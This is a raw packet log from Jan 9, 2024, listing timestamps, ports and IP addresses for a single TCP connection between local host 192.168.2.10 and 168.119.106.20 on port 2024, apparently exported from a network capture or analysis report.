Jan 9, 2024 15:46:50.977045059 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.977061987 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.977123022 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.977219105 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.977233887 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.977303982 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.977303982 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.977442980 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.977456093 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.977468014 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.977488995 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.977528095 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.977665901 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.977679968 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.977720022 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.977844954 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.977881908 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.977935076 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.977948904 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.978024006 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.978038073 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.978049994 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.978099108 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.978262901 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.978275061 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.978317022 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.978463888 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.978477955 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.978488922 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.978503942 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.978560925 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.978646994 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.978662014 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.978692055 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.978872061 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.978884935 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.978892088 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.978950024 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.978950024 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.979028940 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.979084015 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.979231119 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.979247093 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.979259014 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.979278088 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.979398966 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.979449987 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.979449987 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.979592085 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.979605913 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.979643106 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.979712009 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.979784012 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.979798079 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.979811907 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.979865074 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.979865074 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.979962111 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.979976892 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.979990005 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.980015039 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.980032921 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:50.980060101 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:50.980227947 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.161329031 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.161353111 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.161410093 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.161462069 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.161493063 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.161545992 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.161571026 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.161612034 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.161655903 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.161655903 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.161686897 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.161734104 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.161746979 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.161787033 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.161804914 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.161869049 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.161921978 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.161926031 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.161936045 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.161977053 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.161997080 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.162029028 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.162069082 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.162086964 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.162086964 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.162133932 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.162184000 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.162189960 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.162189960 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.162236929 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.162254095 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.162314892 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.162350893 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.162420034 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.162444115 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.162450075 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.162481070 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.162481070 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.162511110 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.162570953 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.162595034 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.162617922 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.162652016 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.162741899 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.162767887 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.162806988 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.162828922 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.162847042 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.162858009 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.162893057 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.162935972 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.162935972 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.162967920 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.163003922 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.163049936 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.163049936 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.163059950 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.163103104 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.163131952 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.163168907 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.163203001 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.163254976 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.163275957 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.163314104 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.163335085 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.163363934 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.163386106 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.163418055 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.163431883 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.163470030 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.163499117 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.163538933 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.163608074 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.163667917 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.163685083 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.163739920 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.163794994 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.163891077 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.163933039 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.163933039 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.163943052 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.163995028 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.164019108 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.164062977 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.164086103 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.164144993 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.164182901 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.164196968 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.164241076 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.164283991 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.164294004 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.164386988 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.164387941 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.164428949 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.164479017 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.164546967 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.164571047 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.164616108 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.164644003 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.164737940 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.164762020 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.164783955 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.164833069 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.164891005 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.164904118 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.164932013 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.164973021 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.165014982 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.165015936 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.165056944 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.165070057 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.165127039 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.165150881 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.165194035 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.165224075 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.165235043 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.165261984 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.165298939 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.165333986 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.165374994 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.165412903 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.165457964 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.165467024 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.165493011 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.165524006 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.165560961 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.165582895 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.165596962 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.165625095 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.165646076 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.165685892 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.165716887 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.165724039 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.165780067 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.165807009 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.165836096 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.165851116 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.165915966 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.165918112 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.165992975 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.166016102 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.166062117 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.166071892 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.166105032 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.166141987 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.166151047 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.166151047 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.166203022 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.166229963 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.166275978 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.166287899 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.166287899 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.166310072 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.166359901 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.166378975 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.166429043 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.166433096 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.166471958 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.166476011 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.166518927 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.166522026 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.166562080 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.166613102 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.166662931 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.166687965 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.166731119 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.166749954 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.166769028 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.166769028 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.166794062 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.166827917 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.166866064 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.166891098 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.166941881 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.166992903 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.166992903 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.166992903 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.167037010 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.167038918 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.167078972 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.167140007 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.167200089 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.167257071 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.167305946 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.167351961 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.167407990 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.167431116 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.167464018 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.167488098 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.167521000 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.167551041 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.167587996 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.167612076 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.167777061 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.167951107 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.168076038 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.168076038 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.168169022 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.168215036 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.168215036 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.168265104 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.168308020 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.168339014 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.168375969 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.168399096 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.168421984 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.168450117 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.168484926 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.168509007 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.168550968 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.168602943 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.168602943 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.168603897 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.168657064 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.168721914 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.168778896 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.168778896 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.168828964 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.168853045 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.168926001 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.168984890 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.168984890 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.168984890 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.169034958 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.169044018 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.169086933 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.169111013 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.169142008 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.169187069 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.169187069 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.169198036 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.169256926 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.169281960 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.169327021 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.169372082 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.169373035 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.169373035 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.169415951 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.169435024 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.169498920 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.169504881 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.169544935 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.169552088 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.169595003 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.169610977 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.169657946 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.169703007 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.169703007 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.169719934 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.169744968 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.169759035 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.169780970 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.169806004 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.169857979 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.169873953 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.169925928 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.169959068 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.170011997 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.170052052 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.170052052 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.170089006 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.170114994 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.170146942 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.170160055 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.170206070 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.170206070 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.170224905 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.170252085 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.170296907 CET	49725	2024	192.168.2.10	168.119.106.20
